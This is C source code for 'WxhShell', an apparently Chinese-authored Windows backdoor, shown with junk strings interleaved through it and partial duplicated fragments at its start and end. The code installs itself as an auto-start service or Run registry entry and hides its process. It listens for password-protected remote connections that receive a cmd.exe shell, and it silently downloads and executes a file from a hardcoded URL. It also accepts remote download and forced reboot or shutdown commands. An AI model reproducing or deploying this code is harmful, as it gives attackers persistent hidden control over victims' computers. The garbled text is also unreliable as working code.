)%{ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ULu@" if(NULL == hInst ) return 0; k{lo' w'A *EWO g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V6](_w! g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :RukW.MR NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7P}l^WX _<jU! R if (!NtQueryInformationProcess) return 0; h*D -Vo l3BN,HNv+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l3u+fE,;_ if(!hProcess) return 0; 568M4xzi c^'bf_~-W if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "~EAt$ 9S17Lr*c CloseHandle(hProcess); x9\{a Z:,\FB_U hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \Gk}Fer if(hProcess==NULL) return 0; H1%o)'Kut4 l{.PyU5) HMODULE hMod; @HB=hN char procName[255]; +PLJ unsigned long cbNeeded; #K@!jh)y^ LgX2KU" if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8YE4ln 04=RoYMM CloseHandle(hProcess); ^`dMjeF *oIIcE4g7 if(strstr(procName,"services")) return 1; // 以服务启动 W^Fkjqpv t4d/%b~{:U return 0; // 注册表启动 YGM7? o } p=eSJ* "k // 主模块 2B6u)
95 int StartWxhshell(LPSTR lpCmdLine) *^7^g!=z2 { |}e"6e% SOCKET wsl; ]e5aHpgR= BOOL val=TRUE; ~H?v L c;> int port=0; #P z'-lo struct sockaddr_in door; CE `|"o\Bg< if(wscfg.ws_autoins) Install();
:jkPV%!~ fj(WHL port=atoi(lpCmdLine); @ YWuWF C"`\[F`.k if(port<=0) port=wscfg.ws_port;
il{x?#Wrb q[vO
mes WSADATA data; Sh-B! if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Zn.S65J*u E=S_1 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; sA: /!9 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i=>`=. ~ door.sin_family = AF_INET; tRc3<> door.sin_addr.s_addr = inet_addr("127.0.0.1"); J32{#\By door.sin_port = htons(port); `WC4:8
ZJGIib if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S\sy^Kt~4: closesocket(wsl); y|*4XF<b return 1; y,Bj,zw } L{&1w gMq; if(listen(wsl,2) == INVALID_SOCKET) { ,g?M[(wtc closesocket(wsl); I|Hcs.uW return 1; d/*EuJYin< } {[NQD3=+F Wxhshell(wsl); gGA5xkA WSACleanup(); 6rG7/ U:MZN[Cc[ return 0; TQ/# _uJ6Vy } R*LPwJuv Ebi~gGo // 以NT服务方式启动 o!y<:CGL VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AlrUfSBB { T}XJFV DWORD status = 0; 6OPNP0@r DWORD specificError = 0xfffffff; yfFe%8w_vw .1J`>T?=Q serviceStatus.dwServiceType = SERVICE_WIN32; [tt_>O serviceStatus.dwCurrentState = SERVICE_START_PENDING; ?W?n l:F serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B@ \0b| serviceStatus.dwWin32ExitCode = 0; UQ^
)t
] serviceStatus.dwServiceSpecificExitCode = 0; jl]p e7- serviceStatus.dwCheckPoint = 0; AC fhy[, serviceStatus.dwWaitHint = 0; WYCDEoqU2 D,-L!P hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;tD?a7 if (hServiceStatusHandle==0) return; r`u 9MJ* !
c~3 `7v status = GetLastError(); Z,XivU& if (status!=NO_ERROR) FEa%wS{ { Mwj7*pxUh serviceStatus.dwCurrentState = SERVICE_STOPPED; {Y]3t9!\ serviceStatus.dwCheckPoint = 0; N;m62N serviceStatus.dwWaitHint = 0; p<@+0Uw2 serviceStatus.dwWin32ExitCode = status; GBd
mT-7 serviceStatus.dwServiceSpecificExitCode = specificError; &w%%^ +n
| SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pm24;' return; J(XK%e[8 } nu|odP b%X}{/ n serviceStatus.dwCurrentState = SERVICE_RUNNING; }_Sgor83n serviceStatus.dwCheckPoint = 0; i~HS"n serviceStatus.dwWaitHint = 0; m Ub2U&6( if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [vdC $9z, } =E~SaT #?\|)y4i // 处理NT服务事件,比如:启动、停止 F20%r 0 VOID WINAPI NTServiceHandler(DWORD fdwControl) OW> >6zM { Z>@\!$Mc switch(fdwControl) dUceZmAl { ><6g-+*k case SERVICE_CONTROL_STOP: FEA/}*2F serviceStatus.dwWin32ExitCode = 0; *nUa0Zg4q6 serviceStatus.dwCurrentState = SERVICE_STOPPED; Qcs0w( serviceStatus.dwCheckPoint = 0; 9'p
pb serviceStatus.dwWaitHint = 0; N9f;X{ { _j_c& SetServiceStatus(hServiceStatusHandle, &serviceStatus); W?12'EG}xa } hA"z0Fszh return; {+QQ<)l^tJ case SERVICE_CONTROL_PAUSE: r3Ih]|FK# serviceStatus.dwCurrentState = SERVICE_PAUSED; <,T#* fg break; =1F F2#zS case SERVICE_CONTROL_CONTINUE: >LR+dShG serviceStatus.dwCurrentState = SERVICE_RUNNING; <{1 3Nd'o break; w{ x=e case SERVICE_CONTROL_INTERROGATE: hN:2(x break; j7Lw(AJ }; Tj=g[)+K SetServiceStatus(hServiceStatusHandle, &serviceStatus); FEg&EYI
} K~z9b4a> =G<S!qW // 标准应用程序主函数 \V<deMb= int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NslaG { \3z ^/F~ Hn(L0#Oqy // 获取操作系统版本 }*0*8~Q'5 OsIsNt=GetOsVer(); Yr+ghl/ V GetModuleFileName(NULL,ExeFile,MAX_PATH); "[]72PC af7\2g3* // 从命令行安装 TWQ{,
B if(strpbrk(lpCmdLine,"iI")) Install(); >E(IkpZ *W<g%j-a // 下载执行文件 tZY(r
{ if(wscfg.ws_downexe) { UBy:W^\g if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8c'E WinExec(wscfg.ws_filenam,SW_HIDE); SbpO<8}8 } Ibl==Irk '^M3g-C[Jg if(!OsIsNt) { b*qC // 如果时win9x,隐藏进程并且设置为注册表启动 K<tkNWasQ HideProc(); {R.@EFkZ StartWxhshell(lpCmdLine); *,__\/U98 } ~ +z'pK~c else I#hzU8Cc if(StartFromService()) [ 5kaF" // 以服务方式启动 <?iwi[S StartServiceCtrlDispatcher(DispatchTable); *YY:JLe else -n$fh::^ // 普通方式启动 r`/tb^ StartWxhshell(lpCmdLine); w-MnJ(r %!1:BQ,p,i return 0; +EgQj*F* } I"+;L4o ` <%rG*vzi ^k?Ig.m =2[cpF] =========================================== 2myHn/%C F D6>[W r&ex<(I{ "%Eyb\V! v0} .!u>Ww r@(hRl1k' " 8>K2[cPD Y1vSwS%{T #include <stdio.h> ]"M 4fA #include <string.h> s?*MZC #include <windows.h> I6FglVQ6 #include <winsock2.h> N5[fwz
w #include <winsvc.h> } Pc6_# #include <urlmon.h> &wZ:$lK#o XA:v:JFS #pragma comment (lib, "Ws2_32.lib") t=ry\h{Pc #pragma comment (lib, "urlmon.lib") K]q OLtc }3!.e #define MAX_USER 100 // 最大客户端连接数 PV%7m7=x #define BUF_SOCK 200 // sock buffer z|SLH<~ #define KEY_BUFF 255 // 输入 buffer R3$eq
) 2$? )VXtw #define REBOOT 0 // 重启 =lG5Kc{B #define SHUTDOWN 1 // 关机 8f | 0Q5ua`U #define DEF_PORT 5000 // 监听端口 -K)P|'-?m g=:C/>g #define REG_LEN 16 // 注册表键长度 `7|v #define SVC_LEN 80 // NT服务名长度 N|h}'p =`rESb[ // 从dll定义API d&0^AvM@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^@`dsll typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /5_!Y>W typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RxkcQL/Le typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DY{JA
*N @&2bLJJ+ // wxhshell配置信息 dYJW`Q;j.| struct WSCFG { eW+z@\d9Gz int ws_port; // 监听端口 R28h%KN char ws_passstr[REG_LEN]; // 口令 Bf F$ int ws_autoins; // 安装标记, 1=yes 0=no F/}PN1#T char ws_regname[REG_LEN]; // 注册表键名 jfHVXu^M char ws_svcname[REG_LEN]; // 服务名 '
7>V4\" char ws_svcdisp[SVC_LEN]; // 服务显示名 PhM3?$ char ws_svcdesc[SVC_LEN]; // 服务描述信息 nK6{_Y> char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :nw4K(:f int ws_downexe; // 下载执行标记, 1=yes 0=no 8fJ- XFK$: char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0*8[m+j1 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y:Qo:Z~ (3"V5r`*; }; Ut8yA"Y~ ?E2/
CM // default Wxhshell configuration [HK[{M=v= struct WSCFG wscfg={DEF_PORT, #Gs] u "xuhuanlingzhe", 5"6Y=AuQ6 1, xq.,7#3 "Wxhshell", l>S~)FNwXJ "Wxhshell", ;Zc(qA "WxhShell Service", $q{-)=-BXQ "Wrsky Windows CmdShell Service", kL,AY-Iu{@ "Please Input Your Password: ", SUfl`\O 1, +kQ$X{+;8 "http://www.wrsky.com/wxhshell.exe", Ah28D!Gor "Wxhshell.exe" ,`MUd0 n }; s&!g ) zD-.bHo>. // 消息定义模块 50Co/-)j char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $ T.c>13 char *msg_ws_prompt="\n\r? for help\n\r#>"; V\WqA8 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6<R!`N 6 char *msg_ws_ext="\n\rExit."; ]7-*1kL8=~ char *msg_ws_end="\n\rQuit."; ^6|Q$]}Ok char *msg_ws_boot="\n\rReboot..."; =ex71qj) char *msg_ws_poff="\n\rShutdown..."; /WB^h6qg char *msg_ws_down="\n\rSave to "; 4lE
j/#} u-At k-2M char *msg_ws_err="\n\rErr!"; X61]N^y char *msg_ws_ok="\n\rOK!"; %X
O97 .T/\5_Bx char ExeFile[MAX_PATH]; !,PG!Gnl int nUser = 0; s7iguFQ HANDLE handles[MAX_USER]; 8AVM(d@ int OsIsNt; *)ZDN~z7o Id(L}i(X SERVICE_STATUS serviceStatus; {d(@o!;Fi SERVICE_STATUS_HANDLE hServiceStatusHandle; frk(2C8T $+)SW{7 // 函数声明 [F/>pL5U$ int Install(void); gEMxK2MNXj int Uninstall(void); {?17Zth int DownloadFile(char *sURL, SOCKET wsh); :03w k) int Boot(int flag); ^N _kiSr void HideProc(void); 6+e@)[l.zc int GetOsVer(void); dmW0SK
int Wxhshell(SOCKET wsl); )VID
;l;4 void TalkWithClient(void *cs); {xp/1?Mo* int CmdShell(SOCKET sock); vZmM=hW ~ int StartFromService(void); U|={LU int StartWxhshell(LPSTR lpCmdLine); 3@*J=LGhKc Oj6 - VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tpO%)* VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0$%:zHi5g dQQh$*IL?{ // 数据结构和表定义 (2Z-NVU# SERVICE_TABLE_ENTRY DispatchTable[] = |vw0:\/H { Dx/BxqG6}_ {wscfg.ws_svcname, NTServiceMain}, (\>3FwFHW| {NULL, NULL} G<l+94( }; Jc"xH~, N2vSJ\u // 自我安装 iF?4G^ int Install(void) \L-o>O { eYMp@Cx char svExeFile[MAX_PATH]; /\V-1 7- HKEY key; (PE x<r1 strcpy(svExeFile,ExeFile); 8hZ+[E} @-Tt<pl'L // 如果是win9x系统,修改注册表设为自启动 8<z+hWX=4 if(!OsIsNt) { 1~Zmc1] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'kf]l=i[n RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E4GtJ`{X RegCloseKey(key); :[|4Zn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o<`Mvw@Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u+a"
'* RegCloseKey(key); N?TXPY return 0; K>hQls+ } //n$#c_}u } {b6| wQ\ } s4/4o_[W else { A}v!vVg *]NG@^y // 如果是NT以上系统,安装为系统服务 ;fw}<M!6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9&}$C]` if (schSCManager!=0) U,Ya^2h% { (pN:ET B SC_HANDLE schService = CreateService /]zn8d ( ^pruQp1X schSCManager, jT>G8}h wscfg.ws_svcname, byoP1F% wscfg.ws_svcdisp,
v% 6uU SERVICE_ALL_ACCESS,
_GS_R%b SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +e}v)N SERVICE_AUTO_START, }W^%5o87{ SERVICE_ERROR_NORMAL, >zFk}/ svExeFile, GdHFgxI NULL, t%Sgw%f NULL, ^S:S[0\, NULL, Cp4 U`] NULL, !Hq$7j_ NULL 2o2jDQ|7 ); @6\Id7`Ea if (schService!=0) A!B:vJ { /9T.]H~ CloseServiceHandle(schService); _)-t#Ve CloseServiceHandle(schSCManager); 3m%oXT strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C+o1.#]JM strcat(svExeFile,wscfg.ws_svcname); n-zAkKM if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x7\b-EC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]!CMo+ RegCloseKey(key); O(x1Ja,& return 0; ;Z^\$v9? } N~H!6N W } B'}h6ZH CloseServiceHandle(schSCManager); LCBP9Rftvd } 4Z8FLA+T, } <O:}dXqZ jN))|eD0x return 1; {txW>rZX } kjAARW &:Q^j: // 自我卸载 t5O '7x int Uninstall(void) ?APzb4f^W { FZL"[3 HKEY key; DO*rVs3'p[ M3q%(!2 if(!OsIsNt) { kU:ge if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tofX.oi+C$ RegDeleteValue(key,wscfg.ws_regname); 8XfhXm>~ RegCloseKey(key); 3(&k4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dfy]w4ETB RegDeleteValue(key,wscfg.ws_regname); 0O>T{< RegCloseKey(key); Qe,jK{Y<
- return 0; o3 b=)E } F*u"LTH } Hk&op P9) } ^wass_8 else { qwhDv+o >EE}P|=- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M./1.k&@ if (schSCManager!=0) p1F{ v^ { y{>T['"@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l,fwF ua if (schService!=0) u~rPqBT{d3 { Q|KD$2rB if(DeleteService(schService)!=0) { /]U),LbN CloseServiceHandle(schService); 8*zORz CloseServiceHandle(schSCManager); 3~q#P return 0; B*Z}=$1j } osM[Xv CloseServiceHandle(schService); &=f] a } ,FIG5-e,} CloseServiceHandle(schSCManager); 'p_|Rw> } af@R\"N9c } ZR]p7{8B W3+;1S$k return 1; y^0
mf| } gQQve{' xig4H7V // 从指定url下载文件 q$7w?(Lk int DownloadFile(char *sURL, SOCKET wsh) V36u%zdX5n { o[I
s$j HRESULT hr; i/{dD"HwM char seps[]= "/"; h 8<s(WR char *token; P*|qbY char *file; y3XR:d1cg char myURL[MAX_PATH]; xiv8q/ char myFILE[MAX_PATH]; Vp$<@Y /np05XhEa strcpy(myURL,sURL); .(^%M
2:6 token=strtok(myURL,seps); vRkVPkZ6| while(token!=NULL) V~#8lu7; { Tuz~T
_M file=token; ]qb>O:T token=strtok(NULL,seps); ajCe&+ } Z-j?N{3& 8B?*?,n5 GetCurrentDirectory(MAX_PATH,myFILE); %45*DT strcat(myFILE, "\\"); %E8HLTEvl strcat(myFILE, file); ~@#s<a,%; send(wsh,myFILE,strlen(myFILE),0); y_``-F&Z send(wsh,"...",3,0); @Os0A hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I*z|_}$ if(hr==S_OK) 8\F|{vt# return 0; ?
KDg|d else `3eQ#, G! return 1; #.<Dq8u -G[TlH06 } zYxA#TZL Ts\PZQ!q // 系统电源模块 vs^)= int Boot(int flag) x.9[c m-! { yxtfyf|9 ' HANDLE hToken; I!"/ I8Y TOKEN_PRIVILEGES tkp; !eHQe7_ i"0*)$
hW if(OsIsNt) { lSfPOx;* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9=J 3T66U LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nt%fJ k tkp.PrivilegeCount = 1; /2Z7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a|5<L AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O]XgA0] if(flag==REBOOT) { y*Gq VA[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^V~^[Yp return 0; R5i xG9 } d};[^q6X else { 9ec>#Vxx if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z57q| return 0; t*`G@Nj } )EK\3q } UGxF}Q else { %CZGV7JdA if(flag==REBOOT) { IL,iu if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 33ZHrZ return 0; QFB2,k6jN } _VB;fH$ else { 4j}.=u* X7 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @X2 zIFm return 0; BXNC(^ } bw)E;1zo } =)#<u9
qqL 3!h 3flE return 1; %(S!/(LWW } peew<SX IrIW>r} - // win9x进程隐藏模块 l*Q OM void HideProc(void) V`0Y
p { iA|n\a~ny, hh$i1n HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4}Y? :R if ( hKernel != NULL ) ?Ld:HE { >[N6_*K] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _PLZ_c:O ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e< G[!m FreeLibrary(hKernel); =eR#]d } .zy2_3: /uPMzl return; #3O$B*gV6 } &gP1=P,! ;Za^).= // 获取操作系统版本 sHPlNwyy int GetOsVer(void) +f}w+ { oore:`m; OSVERSIONINFO winfo; "AlR%:]24~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _dc,}C GetVersionEx(&winfo); 4^*Z[6nt| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l$!Z};mw0E return 1; S^N{=* else /GO((v+J return 0; qP+%ui5xR } {qm5H7sL S/yBr` // 客户端句柄模块 +O1=Ao int Wxhshell(SOCKET wsl) J!"m{ 8- { KkJE-k*D+w SOCKET wsh; Oiw!d6"Ovq struct sockaddr_in client; V0bKtg1f?- DWORD myID; !-7<x"avm >J,IxRGi while(nUser<MAX_USER) bv``PSb3 { A&d_!u> int nSize=sizeof(client); BA9;=orx wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >w1jfpQ@t$ if(wsh==INVALID_SOCKET) return 1; U4lAo QbYNL9% handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BPy pA$ if(handles[nUser]==0) AY]rQ:I closesocket(wsh); )LL.fPic else ;`Sn66& nUser++; ?U,Xy xN } yn2k!2]&T< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m~@Lt~LZs G&yF9s)Lvs return 0; ^J@
Xsl } ;?gR ,AKZ G[ q<P // 关闭 socket '<wZe.Q! void CloseIt(SOCKET wsh) kqCUr|M.P { m.U&O=]5 closesocket(wsh); V^\b"1X7N nUser--; ?aZ\Dg{ ExitThread(0); <2\QY } 2~)q080jh _2<k,Dl;RY // 客户端请求句柄 P!/:yWd void TalkWithClient(void *cs) UFE~6"t( { ?osYs<k \ 'fIG$tr9X SOCKET wsh=(SOCKET)cs; =/N0^ char pwd[SVC_LEN]; =Q8$O
2TW char cmd[KEY_BUFF]; YY$O"!." char chr[1]; hw&~OJeo int i,j; tY?evsVgz 6}_J;g\| while (nUser < MAX_USER) { Bn
Nu/02.= ]Wc 2$ if(wscfg.ws_passstr) { #~6X9,x= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HmpV;
<t3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (Jy >,~O //ZeroMemory(pwd,KEY_BUFF); *%dWNvN4X i=0; }& 01=nY while(i<SVC_LEN) { n(\VP!u5r &^ =Y76 // 设置超时 (XQl2C fd_set FdRead; >&|/4`HSB struct timeval TimeOut; oX-h7;SD FD_ZERO(&FdRead); {Yti FD_SET(wsh,&FdRead); 3
J\&t4q TimeOut.tv_sec=8; 1c $iW>0K TimeOut.tv_usec=0; -PHqD int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gjy:o5{vA* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q%FXox~b ="[6Z$R if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p B79#4 pwd=chr[0]; v?4MndR if(chr[0]==0xd || chr[0]==0xa) { RTYhgq pwd=0; }x:nhy` break; J]Qbg7| } N Z~"2~Hh i++; :;Wh!8+j } 0Yc#fD ^ `Y1 // 如果是非法用户,关闭 socket 86f/R
c if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2ZFp(e^% } B ? D|B L3X[; |v} send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %-[U;pJe; send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4+r26S,T YS&Q4nv- while(1) { btU:=6 9@z"~H ZeroMemory(cmd,KEY_BUFF); TWJ%? /d ?1MaA // 自动支持客户端 telnet标准 v]BMET[w j=0; 4O3-PU>N while(j<KEY_BUFF) { g R)
)K) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6\?<:Qto cmd[j]=chr[0]; Kg;1%J>ee if(chr[0]==0xa || chr[0]==0xd) { *.Ceb%W7C cmd[j]=0; T>s3s5Y break; Tg.}rNA4 } )~[hf,R5S j++; p'IF2e&z } "# BI" -AxO1
qO // 下载文件 [O(8izv if(strstr(cmd,"http://")) { ].<B:]:, send(wsh,msg_ws_down,strlen(msg_ws_down),0); @I|gA if(DownloadFile(cmd,wsh)) j]5bs*G send(wsh,msg_ws_err,strlen(msg_ws_err),0); 69u"/7X else u@-x3%W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7q[a8rUdh } r.b!3CoQ else { |\MgE.N mdTCe
HX switch(cmd[0]) { vMV}M%~ W{(q7>g // 帮助 Grw|8xN0t case '?': { [q{[Avqf send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S(
r Fa break; u4a(AB>S } 8/dx)*JCq // 安装 u:f.g?!`" case 'i': { 4R/cN'- if(Install()) "?UBW5nM# send(wsh,msg_ws_err,strlen(msg_ws_err),0); &z(E-w/S else g",htYoEnj send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [~<X|_LG break; U6@Hgi> } B#T4m]E/ // 卸载 9I;d>% case 'r': { ]hL`HP if(Uninstall()) t$lO~~atr send(wsh,msg_ws_err,strlen(msg_ws_err),0); zg2}R4h else ?@i_\<A2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?W(>Yefk break; z.q^`01/H } 5dE@ePO[/9 // 显示 wxhshell 所在路径 2\p8U#"" case 'p': { 9zKrFqhNo char svExeFile[MAX_PATH]; r2]KP(T8| strcpy(svExeFile,"\n\r"); RHc-kggk! strcat(svExeFile,ExeFile); zFqlTUD`t send(wsh,svExeFile,strlen(svExeFile),0); VNcxST15a break; wjm _bEi } AD=vYDR+ // 重启 B~RVFc + case 'b': { jLRh/pbz4 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [Grd?mc# if(Boot(REBOOT)) y7quKv7L} send(wsh,msg_ws_err,strlen(msg_ws_err),0); *|T]('xwC else { Xv%1W?
>@/ closesocket(wsh); ,MxTT!9Su ExitThread(0); qQu}4Ye> } W
h^9 Aq break; 5QjM,"`mp } ST#MCh-00 // 关机 5DEK`#* case 'd': { 0 xUw}T6 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O#g'4 S if(Boot(SHUTDOWN)) U$fh ~w<[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); q`l%NE else { M6 W{mek closesocket(wsh); T5g}z5~" ExitThread(0); x9s7:F } k e
sg ]K break; :QGd/JX$n` } 2|KgRk|! // 获取shell N<|_tC+ct case 's': { G98P<cyD CmdShell(wsh); I$Bu6x! closesocket(wsh); .S l{m[nV8 ExitThread(0); `5V=U9zdE break; McRAy%{z } 8T7E.guYr // 退出 wE.CZ%f case 'x': { _R,VNk send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Pd<s# CloseIt(wsh); BB?vc(d break; *ydkx\pT } \pXs&}%1,F // 离开 SM;*vkwz~ case 'q': { i:6`Rmz1. send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]ZD W+< closesocket(wsh); `u zR!^X WSACleanup(); vU:FDkx*nn exit(1); H\Y5Fd9) break; ?*36&Iq} } WUwH W } []'gIF } 8!~8:?6n 4&}V3"lg // 提示信息 H]6i1j if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2qw -: } Tq\S-K}4! } vr,8i7*0 [z2XK4\e1T return; bjQp6!TsZ } g>m)|o' _6b?3[Xz // shell模块句柄 \{Qd int CmdShell(SOCKET sock) 3D"2yTM( { RObo4 STARTUPINFO si; Rqi=AQ ZeroMemory(&si,sizeof(si)); Vq'\`$_
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5r*5Co+ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eI+<^p_j2 PROCESS_INFORMATION ProcessInfo; 77FI&*q char cmdline[]="cmd"; _GoV\wGKl CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yqEX0|V% return 0; X"4 :#s } B-oQ 9[~ S>-x<'Os // 自身启动模式 Z*+0gJ<Y int StartFromService(void) i`m&X6)\j { ?ztI8I/ typedef struct BB x359 { /s@t-gTi DWORD ExitStatus; 4pvT?s>68 DWORD PebBaseAddress; w\"~*(M DWORD AffinityMask; #GDnV/0) DWORD BasePriority; m#}41< ULONG UniqueProcessId; 9O8na
'w ULONG InheritedFromUniqueProcessId; MI:
rH } PROCESS_BASIC_INFORMATION; -/x=`S* m*Zq3j PROCNTQSIP NtQueryInformationProcess; :y/1Jf'2f 03ol6y )C static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #ujry.m static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J`E,Xw>2 WH>= *\ HANDLE hProcess; }ZQ)]Mr PROCESS_BASIC_INFORMATION pbi; YUzx,Y>k dRdI(' HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bW]7$?acv if(NULL == hInst ) return 0; ?QDHEC62 y*F !k{P g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wbIgZ]o!/; g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N('=qp9 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [>2iz s6q6)RD" if (!NtQueryInformationProcess) return 0; I_1(jaY I7@|{L1|FB hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qm-I=Rh+ if(!hProcess) return 0; jW,b"[ 9HsiAi* if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3V(]*\L oZD+AF$R CloseHandle(hProcess); hTEwp. pZ_zyI#wx_ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >>cb0fH5 if(hProcess==NULL) return 0; ; _ziRy Tv d}5~
